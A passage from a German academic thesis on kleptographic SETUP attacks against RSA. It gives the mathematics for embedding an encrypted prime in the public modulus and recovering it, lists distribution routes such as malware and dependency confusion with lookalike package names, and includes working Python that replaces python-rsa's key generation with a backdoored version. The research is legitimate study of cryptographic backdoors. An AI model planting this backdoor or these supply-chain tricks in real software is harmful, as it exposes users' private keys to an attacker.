Bisher wurden Angriffe auf kryptographisches Systeme in eine der vier Kategorien 2.1.2 unterteilt (Known Cipher, Known Plaintext, Chosen Cipher, Chosen Plaintext). Ein kleptographischer Angriff fällt jedoch in keiner dieser Kategorien. Für kleptographische Angriffe müsste eine weitere, fünfte Kategorie geschaffen werden: Controlled Key Attacks. Dabei ist nach einem erfolgreichem Angriff der Schlüssel bekannt. Da nach Kerckhoff's Prinzip die Sicherheit eines Systems ausschließlich auf der Geheimhaltung der Schlüssel basiert, ist somit ein kryptographisches System gebrochen. Die Bezeichnung Controlled Key Attack, wurde gewählt, da der Angreifer die Schlüsselerstellung kontrollieren kann, jedoch nicht den schlüssel an sich direkt übertragen kann.

4.3 Aufbau kleptographischer Angriffe

4.3.1 Voraussetzungen

Die Voraussetzungen für den hier beschriebenen kleptographischen Angriff ist die einmalige Manipulation eines kryptographischen Systems zur Erzeugung von RSA-Schlüsselpaaren. Dies kann während der Herstellung oder des Betriebs des Systems gelingen. Dabei muss nur die Schlüsselerstellung manipuliert werden. Die Funktionen zum Signieren, Verifizieren, Ver- und Entschlüsseln des Systems sind davon sich betroffen.

4.3.2 Secretly Embedded Trapdoor with Universal Protection

Secretly Embedded Trapdoor with Universal Protection (SETUP) ist ein Angriffskonzept auf Implementationen von (kryptographischen) Algorithmen. Dabei wird entweder mittels symmetrischer oder asymmetrischer Verschlüsselung eine Implementation so manipuliert werden, sodass es dem Angreifer möglich ist die Geheimnisse des Systems, ohne das Berechnen algorithmisch

aufwendiger mathematischer Probleme, in Erfahrung zu bringen[1]. Dabei wird versucht die Geheimnisse verschlüsselt an den Angreifer zu übergeben. Dies kann wie hier bei RSA über die Manipulation von öffentlichen, eigentlich zufälligen Parameter geschehen. Das Manipulieren von Daten, die der Nutzer selbst veröffentlicht, vermeidet das Verwenden von geheimen Kanälen über die Geheimnisse an den Angreifer geleitet werden, welche durch Analyse von z.B. Netzwerkverkehr aufgedeckt werden können. Der hier verwendete Angriff verwendet asymmetrische Kryptographie. Dies unterstützt die Eigenschaft der Üniversal Protection"noch mehr indem die Daten asymmetrisch mit einem öffentlichen Schlüssel des Angreifers verschlüsselt werden. Dadurch ist es auch für den Fall, dass der asymmetrische SETUP-Angriff aufgedeckt wird, nur für den Angreifer möglich die Backdoor auszunutzen, da nur er in Besitz des zugehörigen privaten Schlüssels ist.

Kleptographische bzw. SETUP-Angriffe sind bisher theoretische Angriffe auf Implementationen von kryptographischen Algorithmen. Die bisherige Forschung bezieht sich auf Computer-Bausteine wie Trusted Platform Module (TPM). Solche Bausteine werden z.B. von Motherboard-Herstellern entwickelt um kryptographische Operation zu berechnen und einen nicht einlesbaren Speicher für kryptographische Schlüssel zu stellen. Durch TPM können Schlüssel auf diesen erstellt, gespeichert und verwendet werden, ohne, dass z.B. das Betriebssystem diese auslesen kann. Dadurch funktionieren TPM also Black-Box, welche nur durch API-Aufrufe erreicht werden können. Der Nachteil an diesem System ist, dass der Nutzer eines TPM dem Hersteller blind vertrauen muss. Wenn ein Hersteller einen TPM mit einer SETUP versieht oder dazu gezwungen wird, sind alle generierten Schlüssel kompromittiert ohne das der Nutzer Einblick in die Black-Box hat. Dabei kann eine kleptographischer Angriff alleinig durch die Benutzung eines schwachen Zufallszahlengenerators erfolgen, wie z.B. Dual_EC_DRBG.

Kleptographisch Angriffe auf software-seitige Implementationen von kryptographischen Algorithmen haben den Vorteil einer Black-Box nicht. Jedoch ist die Distribution kryptographischer Software dezentraler im Gegensatz zu der Herstellung von TPM. Dabei ist die Verwaltung und Generierung der Schlüssel Hardware unabhängig und alleinig durch Software gelöst. Dadurch sind die Schlüssel zwar nicht so gut geschützt, jedoch können Nutzer selbst den Quellcode der Krypto-Bibliotheken überprüfen. Software-seitige SETUP-Angriffe können also leichter erkannt werden. Die Universal Protection bleibt dennoch bestehen. Allerdings hat Software-Kleptographie den Vorteil aus sich des Angreifers, dass er nicht die Herstellung von TPM manipulieren / beeinflussen muss, sondern mittels Quellcode-Viren oder Dependency Confusion Systeme infizieren kann.

4.4 Secretly Embedded Trapdoor with Universal Protection für RSA

Der folgende Abschnitt zeigt einen kleptographischen Angriff auf eine Implementation des RSA-Algorithmus. Dabei wird die in der Literatur gegebene Vorgehensweise in vier Schritte aufgegliedert:

1. Die Voraussetzung für einen erfolgreichen Angriff und die gegebenen Werte.
2. Der Angriff, wobei die Parameter des Systems manipuliert werden.
3. Die gängige Generierung des Schlüsselpaars aus den manipulierten Werten.

[1] Markelova 2020, S. 1.

4. Die Vorgehensweise eines Angreifers, welcher aus den öffentlichen Parameter des Schlüsselpaars, die Primfaktoren ableitet und das gesamte Schlüsselpaar rekonstruiert.

Darauf werden die in den einzelnen Schritten verwendeten Parameter mathematisch definiert. Dabei sind die Definitionen nicht ausschließlich der Literatur entnommen. Eigene Definitionen wurden hinzugefügt um Grenzfälle auszuschließen, welche in der Literatur nicht beachtet werden. Dies soll die Implementation und die Reproduzierbarkeit erleichtern und verbessern. Zuletzt werden Hintergründe zur Implementierung des SETUPS beschrieben. Diese sollen die Vorgehensweise und die Korrektheit des Verfahrens aufzeigen.

Hierbei ist es wichtig zu sagen, dass die hier aufgezeigte Vorgehensweise nur zu Teilen der später folgenden Implementation entspricht. Dies ist der Fall, da die hier beschriebene Vorgehensweise wenig bis gar nicht optimiert ist.

4.4.1 Voraussetzungen

Für ein SETUP-Angriff auf eine Implementation von RSA hat der Angreifer ein eigenes Schlüsselpaar: N_A Modulus des Angreifers, E_A Öffentlicher Schlüssel des Angreifers, D_A Privater Schlüssel des Angreifers. Das Schlüsselpaar wird wie für RSA üblich generiert.

4.4.2 Angriff auf die Schlüsselgenerierung

Schritt 1 Es wird eine zufällige Primzahl P generiert. P wird dann mit dem öffentlichen Schlüssel des Angreifers verschlüsselt:

$$vP = P^{E_A} \mod N_A \tag{4.1}$$

Schritt 2 N' wird gebildet indem vP und eine Zufallszahl gleicher Länge t in binärer Form konkateniert werden:

$$N' = vP||t \tag{4.2}$$

N' ist dabei nicht der Modulus des generierten RSA-Schlüsselpaars sondern nur eine temporäre Form.

Schritt 3 Berechnung der zweiten Primzahl Q:

$$P \cdot Q + R = N' \tag{4.3}$$

Ab diesem Schritt ist die Generierung des RSA-Schlüsselpaar identisch zur Generierung in einem unkomprimierten Kryptosystem. Hierzu ist anzumerken, dass die kompromittierten Parametern nicht von unkompromittierten Parametern zu unterscheiden sind. Dies bildet die Grundlage des Prinzips eines SETUP. Es ist anzumerken, dass für gegebene Parameter P, N' diese Gleichung keine Lösung hat. Dies liegt unter anderem am Definitionsbereich von R (siehe 4.4.5). Falls dieser Fall eintritt soll nach Literatur mit 4.4.2 wieder begonnen werden.

4.4.3 Schlüsselgenerierung mit kompromittierten Parametern

Schritt 1 Bestimmung des Modulus N, wie für RSA üblich durch:

$$N = P \cdot Q \tag{4.4}$$

Schritt 2 Wählen des öffentlichen Schlüssels E und Berechnen des privaten Schlüssels D mittels der modularen multiplikativen Inversen bzgl. $\phi(N)$:

$$D = modular\_multiplicative\_inverse(E, \phi(N)) \tag{4.5}$$

Schritt 3 Mit Schritt 5 wurde ein vollkommen funktionales RSA-Schlüsselpaar erstellt. Mittels diesem können nun Informationen verschlüsselt/signiert, Chiffren entschlüsselt und Signaturen verifiziert werden, wie in 3.1.1 und 3.1.2 gezeigt wurde.

4.4.4 Extraktion der geheimen Parameter

Die folgenden Schritte erläutern, wie der Angreifer aus den

Schritt 1 Der Angreifer erlangt den öffentlichen Schlüssel des Ziels und besitzt somit N und E. Dies ist möglich, da diese Informationen öffentlich sind.

Schritt 2 Der Angreifer teilt N in binärer Form in der Hälfte womit er vP erhält. Die mathematische Begründung hierfür in 4.4.6.

Schritt 3 P wird durch die Entschlüsslung von vP mittels des privaten Schlüssels des Angreifers berechnet:

$$P = vP^{D_A} \mod N_A \tag{4.6}$$

Damit ist dieser Schritt die inverse Operation zu 4.4.2. Zusätzlich muss auch $vP + 1$ entschlüsselt werden. Die mathematische Begründung hierfür in 4.4.6.

$$P' = (vP + 1)^{D_A} \mod N_A \tag{4.7}$$

Schritt 4 Hiermit ist der Angreifer im Besitz des ersten Primfaktors P oder P'. Somit ist die Primfaktorzerlegung von N trivial:

$$Q = N/P \tag{4.8}$$

Die Primfaktorzerlegung muss, gleich wie bei 4.4.4, für den alternativen Primfaktor P' berechnet werden:

$$Q' = N/P' \tag{4.9}$$

Durch die Optimierung in 6.1.2 kann der richtige Primfaktor bestimmt werden.

Schritt 5 Der Angreifer ist hiermit im Besitz der Primfaktoren P, Q und kann den privaten Schlüssel D bestimmen (4.5). Gleiches muss für die alternativen Primfaktoren berechnet werden.

Schritt 6 Der Angreifer besitzt den privaten und öffentlichen Schlüssel. Somit können Chiffren entschlüsselt und Signaturen gefälscht werden. Dabei muss der Angreifer, wenn noch nicht geschehen, den privaten Schlüssel D und den alternativen privaten Schlüssel D' einmalig testen, um den richtigen zu bestimmen.

4.4.5 Parameterdefinitionen

In diesem Abschnitt werden die einzelnen Parameter und deren Bedingungen definiert. Diese Definitionen könne auch aus den obigen Schritten entnommen werden. Es wird sich hier für eine wiederholte Aufführung entschieden, um mit einer Übersicht der Verständlichkeit zu helfen, die Reproduzierbarkeit zu steigern und Definitionslücken klarzustellen, welche in Literatur zu diesem Angriff gefunden wurden. Wenn die Definitionslücken in der Implementation nicht beachten werden, kann es zu Fehlern bei der Ausführung kommen. Für die Notation beachte 2.2.1, 2.2.2 und 2.2.3.

Schlüssel des Angreifer muss die halbe Länge des Schlüsselgenerators haben.

$$N_A \mid \overline{N_A} = n_A = \frac{n}{2} \tag{4.10}$$

P ist einer der beiden Primfaktoren des RSA-Schlüsselgenerators.

$$P \in \mathbb{P}, \overline{P} = \frac{n}{2} \tag{4.11}$$

vP ist die Verschlüsselung von P mittels dem öffentlichen Schlüssel des Angreifers. Da der Schlüssel des Angreifers $\overline{N_A} = n_A = \frac{n}{2}$ hat, gilt $\overline{vP} = \overline{P}$. Dabei kann vP als Zufallszahl betrachtet werden (siehe 3.2).

$$P^{E_A} \mod N_A \tag{4.12}$$

N' N' ist die Konkatenation von vP einer Malware $\frac{n}{2}$ Zufallszahl t.

$$N' = vP||t \tag{4.13}$$

Q ist der zweite Primfaktor. Jedoch wird er nicht wie üblich generiert, sondern aus den Parametern P und N' berechnet.

$$Q : N' = P \cdot Q + R \mid Q \in \mathbb{P}, \overline{R} = \frac{n}{2} \tag{4.14}$$

N N ist das Produkt der Primzahl P und Q. Dadurch sind die einzigen Teiler von N, P oder Q. Dabei gilt $\overline{N} = n$.

E ist der öffentliche Schlüssel (in Kombination mit N) und muss eine Primzahl sein, also $P \in \mathbb{P}$. Dabei kann als eine Fermat'sche Primzahl (siehe 3.3) gewählt werden.

D ist der private Schlüssel. $mmi()$ ist dabei die modulare multiplikative Inverse.

$$D = mmi(E, \Phi(N)) \mid \Phi(N) = (P-1) \cdot (Q-1) \tag{4.15}$$

M, C, S , also jegliche Eingabe in eine RSA-Operation muss kleiner N sein.

4.4.6 Hintergründe zum RSA-SETUP

Informationsgewinnung von vP aus N

Längendefinitionen:

- N, N' hat n Bit
- vp, R hat $\frac{n}{2}$ Bit

vP kann aus N bestimmt werden, durch die Beziehung von N und N'. Dabei gilt $N + R = N'$, wobei R dem Angreifer nicht bekannt ist. Jedoch ist definiert, dass R nur halb so viele Bits wie N hat. Dadurch findet die Addition von $N + R$ nur auf den niederwertigeren Bits von N statt. Somit sind die höherwertigen Bits von N (Bits $> \frac{n}{2}$ nicht von der Addition mit R beeinflusst und somit gleich zu den höherwertigen Bits von N'. Dies ist nur dann nicht der Fall, wenn es bei der Addition zu einem Überlauf für. In diesem Fall sind alle Bit $> \frac{n}{2}$ von N, die höherwertigen Bits von $N' + 1$. Zudem ist definiert, dass die höherwertigen von N' gleich vP sind (siehe 4.2). Da der Angreifer nur N aber nicht auch R kennt, muss die Möglichkeit eines Überlauf durch R berücksichtigt werden. Aufgrund dessen kann der Angreifer vP aus den höherwertigen Bits von N lesen. Muss aber auch $vP + 1$ als Option berücksichtigen, da er nicht weiß, ob ein Überlauf stattgefunden hat.

Kapitel 5

Angriffskonzept

5.1 Ziel

Folgender Abschnitt der Arbeit, befasst sich mit der Auswahl des Ziels für einen kleptographischen Angriff. Hierbei soll es sich um eine Softwarebibliothek handeln. Zudem soll diese Open-Source und hinreichend verbreitet sein. Die zugrundeliegende Programmiersprache soll abstrakt genug sein, dass die kryptographischen Operationen in Software abgebildet werden. Programmiersprachen, welche Hardware, wie TPM nutzten, sind nicht für einen Angriff auf Softwarebibliotheken weniger geeignet.

Als Programmiersprache wurde für die Implementation Python gewählt, weil Python weit verbreitet ist, eine Vielzahl an Open Source Libraries und die Syntax nah an Pseudocode liegt. Somit kann die Implementation leichter verstanden und schneller in andere Sprachen übersetzt werden. Zudem besitzt Python einfach integrierte Funktionen für die Berechnung diskreter Exponentialfunktionen. Python ist zudem in der Lage vor der Kompilierung / Interpretierung und während der Laufzeit Funktionen zu Überschreiben. Python kann zudem objektorientiert verwendet werden, was bei der Abstraktion des Codes hilft und somit die Verständlichkeit fördert. Da der RSA-Algorithmus mit großen ganzen Zahlen arbeiten muss bietet Python ein Vorteil im Gegensatz zu Alternativen wie Java, indem der zu Verfügung stehende Datentype int unbounded als von seiner Speicherlänge nicht begrenzt ist. In Java würde ein int maximal 32-bit Länge haben, was nicht ausreichend für jeglichen RSA-Algorithmus ist. Zudem ist eine Deklaration von Datentypen in Python nicht nötig.

Als Angriffsziel wurde das PIP-Packet "rsa"gewählt. Dabei handelt es sich um eine Open Source Software Packet von Sybren A. Stüvel, welches den RSA-Algorithmus und Hilfsfunktionalitäten komplett in Python implementiert. Dieses Packet wurde aufgrund der Beleibtheit ausgewählt. Es wird unter dem Namen "python-rsaäuf Git-hub gepflegt. Die Bearbeitung des Packet wurde mit dem Entwickler Sybren A. Stüvel abgesprochen.

Nach Betrachtung des Aufbaus des Angriffsziels wurde sich dafür entschieden die Datei key.py manipulieren. Diese Python-Datei verwaltet die Generierung der Schlüssel(-parameter).

5.2 Angriffsvektoren

Die hier aufgeführten Angriffsvektoren beschreiben, wie ein kryptographisches System mittels dem hier entwickelten kleptographischen kompromittiert werden kann.

5.2.1 Malware

Malware sind bösartige Programme, welche Computer infizieren. Um den beschriebenen Angriff durchzuführen, muss die Malware in der Lage sein, lokale Dateien oder Pfade zu manipulieren. Wenn diese auf Quellcode abziehen, können sie auch als Quellcode-Viren bezeichnet werden. Ein möglicher Angriff kann wie folgt ablaufen:

1. Malware befällt das System
2. Kleptographisch infiziertes Package wird heruntergeladen
3. Das infizierte Package wird lokal mittel eines Package-Managers unter dem gleichen Namen wie das Original-Package installiert
4. Dabei wird die Versionsnummer artifiziell hoch gesetzt, damit das Package immer bei "latest"genutzt wird
5. Wenn lokale Programme nun das Package importieren, wird das kompromittierte Package verwendet

Für diesen Angriff sind temporäre Schreibrechte auf dem System eine Mindestanforderung. Dadurch stellt sich die Frage, ob in diesem Fall andere Angriff auch bzw. besser geeignet sind. Ein Vorteil dieses Angriffes ergibt sich aus der Unübersichtlichkeit der von Dependency Chains. Zudem ist ein solcher Angriff vorteilhaft, wenn der Netzwerkverkehr des kompromittierten Systems überwacht wird. Eine solche Sicherheitsmaßnahme wäre keine Auswirkung, da die Rückgewinnung der Schlüsselparameter auf der selbstständigen Veröffentlichung des öffentlichen Schlüssels beruht.

5.2.2 Dependency Confusion

Als Dependency Confusion, werden Angriffe beschrieben, welche Versuchen durch Manipulation des Systems oder des Nutzers, eine bösartige Dependency in ein System einzuschleusen. Dies kann einerseits durch Veröffentlichung eines Packages mit ähnlichen Namen erfolgen oder durch das Vortäuschen neuerer Versionen. Hierfür könnte der Angreifer z.B. für das RSA Package von python "rsa":ein manipuliertes Package unter dem Namen "pyrsaöder "rsa2". Dies könnte neue Nutzer dazu täuschen, das kompromittierte Package zu nutzen. Durch die Dependency Chain gilt das gleiche auch für Entwickler von Packages, welche eine RSA-Implementation benötigen. Falls es einem Angreifer gelingt, dass das kompromittierte Package eine Dependency eines anderen Packages wird, werden damit auch alle Packages und Nutzer kompromittiert, welche von dem Package mit der ßchlechten"Dependency abhängig sind.

Eine weitere Möglichkeit ist die Manipulation des Original-Packages. Dabei wird nicht ein eigenes Package erstellt, sondern versucht den Quellcode des echten Packages zu verändern. Dies kann einerseits durch das Hacken von Entwickleraccounts erfolgen aber auch durch das Beitragen zum Open Source Quellcode wobei die bösartigen Eigenschaften verborgen werden.

Kapitel 6

Implementation

Es folgt die konkrete Implementation einer kleptographsichen Schwachstelle in die ausgewählte Softwarebibliothek.

6.1 Optimierung

6.1.1 Berechnung von Q

Es wird aufgezeigt, wie die Berechnung des manipulierten Primfaktors Q optimiert werden kann. Dabei soll möglichst vermieden werden, dass ein komplette Neugenerierung ab 4.4.2 stattfinden muss. Dafür werden 4.4.2 und 4.4.2 verändert. Dafür wird sich zu nutze gemacht, dass die beiden Zufallszahlen t und R die gleiche Bitlänge haben und sich auf die gleichen Stellen von N' auswirken / Bezug nehmen. Dadurch ist es möglich das Interval in dem Q liegt in Bezug auf die Parameter t und R zu maximieren. Danach kann das Suchintervall für den Primfaktor Q stark eingeschränkt werden. Dieser Bereich kann dann in wenig Zeitaufwand nach Primzahlen durchsucht werden. Jede Primzahl im Interval ist dabei eine gültige Lösung für Q. Zudem wird betrachtet, wie das Interval vergrößert werden kann. Dies erhöht zwar den Suchbereich, aber steigt auch die Chance, dass in dem Interval eine Primzahl liegt.

Um die Berechnung von Q zu optimieren werden die Zufallszahlen t und R betrachtet.

$$N' = vP||t = P \cdot Q + R \tag{6.1}$$

Da R und t die gleiche Länge haben $\overline{R} = \overline{t} = \frac{n}{2}$, beeinflussen beide die rechte Hälfe (least significant bits) von N'. Die Gleichung muss so gelöst werden, dass mit gegebenen P und somit auch vP eine Primzahl Q gefunden wird, welches die Gleichung löst. Die Gleichung wird nun nach $P * Q$ umgeformt:

$$P \cdot Q = (vP||t) - R \tag{6.2}$$

Es sind zwei Grenzfälle zu betrachten, wobei max der größten möglichen Zahl für $\frac{n}{2}$ Bits entspricht. min entspricht dabei Wert 0:

$$P \cdot Q = \begin{cases} vP||\{1\}^{\frac{n}{2}}, & \text{if } t = max \wedge R = min \\ ((vP-1)||\{0\}^{(n/2-1)}||1), & \text{if } t = min \wedge R = max \\ [((vP-1)||*), ((vP)||*)], & \text{otherwise} \end{cases} \tag{6.3}$$

Demnach liegt $P \cdot Q$ im Interval von $[((vP-1)||*), ((vP)||*)]$ liegt. Das Bedeutet die Suche der Primzahl Q kann auf folgend beschränkt werden.

$$\begin{aligned} minQ &= \lceil((vP-1)||\{0\}^{\frac{n}{2}})/P\rceil \\ maxQ &= \lfloor(vP||\{1\}^{\frac{n}{2}})/P\rfloor \end{aligned} \tag{6.4}$$

Die vereinfachte Darstellung ergibt sich aus der Eigenschaft aller Primzahlen ausgenommen 2, dass sie ungerade un somit ein Produkt, von zwei solcher Primzahlen nicht gerade seien kann.

$$\begin{aligned} P &= 2k+1 \\ Q &= 2l+1 \\ P \cdot Q &= (2k+1)\cdot(2l+1) \\ &= 4kl + 2k + 2l + 1 \\ &= 2(2kl+k+l)+1 = 2x+1 \end{aligned} \tag{6.5}$$

Die in 6.4 berechneten Interval von dem Minima und Maxima von Q ist maximal groß unter Einbeziehung der Variablen t und R. Dadurch wird die Wahrscheinlichkeit, dass eine Primzahl Q für gegebenes P und vP gibt, welches die Gleichung 6.1 löst maximal. Dadurch wird die Wahrscheinlichkeit eines Neubeginns durch wählen eines anderen P reduziert. Zudem entfällt durch die Optimierung die Wahl der Zufallszahl t, welches zu einer nicht signifikaten Laufzeit Reduzierung führt.

Bei einer Implementation von RSA wird empfohlen[1] wird empfohlen, die Länge der Primfaktoren zu differenzieren, jedoch mit der Bedingung, dass das Produkt der Primfaktoren die Länge $\overline{N} = n$ hat. Die verhindert unter anderem Angriffe, wie die Fermat Faktorisierung[2], welche die Primfaktoren effizient bestimmen kann, wenn diese sehr nah beieinander liegen. Im Rahmen der Implementation konnte beobachtet werden, dass durch die Limitierung von $\overline{P}$ auf $\frac{n}{2} - x$, das Interval von Q stark erhöht werden kann. Dies resultiert darin, dass die Wahrscheinlichkeit für eine Primzahl im Intervall sehr hoch wird. In einzelnen Experimenten wurde beobachtet, dass sich die durchschnittliche Größe für das Intervall von Q sich bei einem $x = 4$ um den Faktor 2^4 vergrößerte. Dies resultierte in den beobachten Fällen immer in einer erfolgreichen Suche der Primzahl Q im Interval. Der mathematische Zusammenhang hierfür, wobei min dem ersten Fall und max dem zweiten Fall von 6.3 entspricht.

$$\begin{aligned} I_Q &= \left[\frac{min}{P}, \frac{max}{P}\right] \\ \Delta I_Q &= \frac{max}{P} - \frac{min}{P} \\ &= \frac{max - min}{P} \\ &\Rightarrow \Delta I_Q \sim \frac{1}{P} \end{aligned} \tag{6.6}$$

Je kleiner P ist, also je höher x, desto größer wird ΔI_Q. Für jede Erhöhung von x um 1 halbiert sich der maximale Wert von P. Somit wird der Divisor um den Faktor 2 halbiert, wodurch das Interval für ein gegebenes min und max, sich um Faktor 2 erhöht. Es kann also pro Erhöhung

[1] DIMGT 2021, S. 1.
[2] GUPTA und PAUL 2009, S. 2.

von x, dass Interval um ΔI_Q um den Faktor 2^x erhöht werden. Somit wird das Interval, indem ein Primzahl liegen muss verdoppelt werden und somit auch die Wahrscheinlichkeit, auch wenn nicht genau um den Faktor 2. Dieser wird nur angenähert, da die Wahrscheinlichkeit einer das $p(x \in \mathbb{Z} : x \in \mathbb{P})$ für höhere x sinkt. Zudem wird durch die Reduktion von $\overline{P}$ um x, $\overline{Q}$ um x erhöht, damit $\overline{N} = n \mid N = P \cdot Q$.

Da die Limitierung eines der Primfaktoren für RSA üblich ist, ist dies eine ausreichende Lösung für das Problem:

$$\nexists Q \in [minQ, maxQ] : Q \in \mathbb{P} \tag{6.7}$$

6.1.2 Verfahren zur Bestimmung der korrekten Primfaktoren

Die Schritte 3 bis 6 der Extraktion der geheimen Parameter befassen sich mit dem Finden des korrekten Primfaktor aus den zwei resultierenden Möglichkeiten von vP vP und $vP + 1$. Daraus werden die Werte und ihre Alternativen für P, N, Q und D berechnet. Um schlussendlich zu entscheiden, ob die Werte die aus vP oder $vP + 1$, kann eine Signatur mit D und D' mit einer Signatur des Angriffsziels verglichen werden. Dadurch kann eine eindeutige Entscheidung getroffen werden.

Diese Entscheidung kann jedoch unter Umständen früher berechnet werden. Dieser Fall kann bei folgenden Berechnungsschritten auftreten:

Berechnung von P

P wird berechnet indem vP mittels dem privaten Schlüssel D_A des Angreifers entschlüsselt wird. Dabei sollte, wie für eine RSA-Ver-/Entschlüsselung üblich, eine vollkommen zufällige Zahl resultieren. Jedoch ist es eine Bedingung, dass P prim ist. Die Wahrscheinlichkeit, dass eine Zufallszahl, mit steigender Anzahl an Stellen, prim ist sehr gering. Mathematische Erläuterung

Falls das entschlüsselte P nicht prim ist, muss es die Alternative P' sein. Gleiches gilt wiederum auch für P'.

Berechnung von Q

Bei der Berechnung von Q gilt die gleiche Eigenschaft, wie bei P, dass Q prim seien muss.

Jedoch kann bei der Berechnung von Q eine eindeutige Entscheidung getroffen werden. Der Grund dafür ist, dass Q eine ganze Zahl seien muss, also $Q \in (Z)$. Ohne weitere geltende Bedingungen wäre die Überprüfung von $Q = N/P$ und $Q' = N/P'$ auf

$$\text{Correct prime factors} = \begin{cases} (P, Q) & Q \in Z \wedge Q' \notin (Z) \\ (P', Q') & Q' \in Z \wedge Q \notin (Z) \\ (P, Q) & sonst \end{cases} \tag{6.8}$$

Ohne geltende Bedingungen von RSA könnte $Q, Q' \in (Z)$ gelten. Da N ein vielfaches beider Zahlen P und P' seien kann. Jedoch ist N in RSA das Produkt von zwei Primzahlen. Dadurch gibt es zwei Zahlen x für die gilt $(N/x) \in (Z)$. Dabei handelt es sich um die korrekten Primfaktoren P und Q. Dadurch gilt immer nur einer der beiden Fälle in 6.8. Im Fall 1 ist $(N/P) \in \mathbb{Z}$, während N kein vielfaches von P' ist. Umgekehrtes gilt für Fall 2. Der dritte Fall wird dennoch benötigt. Er tritt ein, wenn $Q' = P$ oder $Q = P'$ gilt. Dieser Fall tritt dann ein, wenn $(P^E + 1)^D \mod N = Q$ gilt. Unter der Annahme, dass die Entschlüsselung einer Hash-Funktion gleich,

tritt dieser Fall mit einer Wahrscheinlichkeit von $p(1/N)$ auf. Dieser sehr unwahrscheinliche Fall wird durch Fall 3 von 6.8 abgedeckt. In diesem Fall wird eine der beiden Möglichkeiten ausgewählt, da durch die Kommutativität der Multiplikation es egal ist, ob $[P, Q] \vee [Q, P]$ die richtigen Primfaktoren von N sind.

Durch 6.8 kann sehr einfach und effizient die richtigen Primfaktoren ausgewählt werden. Diese Überprüfung hat keinen Einfluss auf die Laufzeit des Algorithmus.

Somit ist diese Überprüfung nicht nur eindeutiger als eine Überprüfung von P auf prim, sondern auch effizienter.

Fehler bei der modularen multiplikativen Inverse

Bei der Berechnung von D wird die modulare multiplikative Inverse von E und $\phi(N)$ bestimmt. Dabei kann es zu einem Fehler kommen, da für den Tupel von E und $\phi(N)$ möglicherweise keine modulare multiplikative Inverse existiert.

Durch die Optimierung bei der Bestimmung der richtigen Primfaktoren verspricht, soll die Berechnungszeit verkürzt werden. Zudem müssten ohne irgendeine der hier genanten Optimierung, zur Bestimmung eine Signatur erstellt und verglichen werden oder ein Chiffrat entschlüsselt werden. Dies setzt jedoch vor, dass der Angreifer im Besitzt dieser Daten ist. Am meisten bei einem verbreiteten / großflächigen, kann dies anspruchsvoll sein. Eine Voraussetzung ist also eine minimale Form eines Known Cipher Attacks (siehe 2.1.2). Um diese Voraussetzung zu eliminieren können diese Optimierungen eingesetzt werden. Dabei ist die Optimierung bei der Berechnung von Q (ob Q ganzzahlig ist) am meisten geeignet, da diese im Gegensatz zu den beiden anderen Optimierungen immer klappt und im Gegensatz zu der Optimierung durch Bestimmung, ob ein Parameter prim ist, keine weitere Laufzeit dem Algorithmus hinzufügt. Durch diese Optimierung kann ein Angreifer effizient die geheimen Parameter bestimmen, ohne im Besitz von zusätzlichen Chiffraten oder Signaturen sein.

6.2 Code Implementierung

6.2.1 RSA mit einer Secretly Embedded Trapdoor with Universal Protection

Der hier gezeigte Code-Ausschnitt erzielt die kleptographische Backdoor. Hierbei wurde die Code-Dokumentation entfernt. Die vollständige Version folgt im Anhang. Die vollständige Softwarebibliothek ist unter `https://github.com/MeNoSmartBrain/kelpto-python-rsa` zu finden. Diese baut auf der python-rsa Bibliothek von Sybren A. Stüvel auf.

```
1  del find_p_q
2
3  def find_p_q(
4          nbits: int,
5          getprime_func: typing.Callable[[int], int] = rsa.prime.
               getprime,
6          accurate: bool = True,
7  ) -> typing.Tuple[int, int]:
8
9      supported_nbits = [32, 64, 128, 256, 512, 1024]
10     if nbits not in supported_nbits:
```

```
11          raise ValueError("Unsupported␣nbits")
12
13      from os import path
14      dir = path.dirname(path.dirname(__file__))
15
16      in_file = open(dir + '\\attack_key_' + str(nbits), 'rb')
17      attack_key = rsa.key.PublicKey.load_pkcs1(in_file.read())
18      in_file.close()
19
20      optimizer = nbits // 2
21
22      created = False
23      while not created:
24          p = getprime_func(nbits - optimizer)
25
26          try:
27              vP = rsa.core.encrypt_int(p, attack_key.e, attack_key
                    .n)
28
29              def padded_concatenation_in_binary(prev, tail):
30                  prev = "{0:b}".format(prev)
31                  tail = "{0:b}".format(tail)
32                  prev = "0" * (int(nbits) - len(prev)) + prev
33                  tail = "0" * (int(nbits) - len(tail)) + tail
34
35                  return int(prev + tail, 2)
36
37              min_bit_construct_Q = padded_concatenation_in_binary(
38                  (vP - 1), 0)
39              max_bit_construct_Q = padded_concatenation_in_binary(
40                  vP, pow(2, nbits // 2) - 2)
41              lower_bound_Q = (min_bit_construct_Q // p)
42              upper_bound_Q = (max_bit_construct_Q // p)
43
44              def find_prime_in_bounds(lower_bound, upper_bound):
45                  for prime_candidate in range(lower_bound,
                        upper_bound + 1):
46                      if rsa.prime.is_prime(prime_candidate):
47                          return prime_candidate
48                  else:
49                      raise ValueError("Margin␣to␣small:␣",
                            lower_bound, upper_bound)
50
51              q = find_prime_in_bounds(lower_bound_Q, upper_bound_Q
                    )
52
```

```
53              def is_acceptable(p: int, q: int) -> bool:
54                  if p == q:
55                      raise ValueError("Condition 7 not satisfied."
                            )
56
57                  if not nbits * 2 == rsa.common.bit_size(p * q):
58                      raise ValueError("Condition 3 not satisfied."
                            )
59
60              is_acceptable(p, q)
61
62              created = True
63
64          except OverflowError:
65              pass
66          except ValueError:
67              pass
68
69      return max(p, q), min(p, q)
```

Dieser Code-Ausschnitt ist der der key.py innerhalb des pip-Packages "rsa". Zuerst wird die bisherige Funktion "___find_p_q"überschrieben. Darauf folgend wird sie neu definiert mit den gleichen Eingabe- und Rückgabelparametern, wie die originale Funktion. Hierbei ist zu beachten, dass $nbits = \frac{n}{2}$ ist. ßupported_nbits"gibt dabei an für welche $nbits$ ein öffentlicher Schlüssel des Angreifers vorliegt.

Falls ein entsprechender Schlüssel vorhanden wird, wird dieser mittels gelieferten Funktionen von python-rsa geladen.

Daraufhin werden die Anzahl an Optimierungsbits gesetzt (x), siehe 6.6. Diese sind nach der Vorgabe angesprochenen Vorgabe unter "Notes on practical applications"[3].

Daraufhin wird solange, bis ein Schlüssel erstellt ist, die Schlüsselgeneration durchgeführt. Diese kann scheitern, wenn 6.7, $P = Q$ oder $n \neq \overline{P \cdot Q}$ eintritt.

In der Schleife wird zuerst P gewählt, dafür wird eine von der python-rsa Bibliothek gestellten Funktion genutzt, welche der ___find_p_q-Funktion übergeben wird. Dabei wird eine Primzahl mit $\overline{P} = \frac{n}{2} - x = nbits - x$ gesucht.

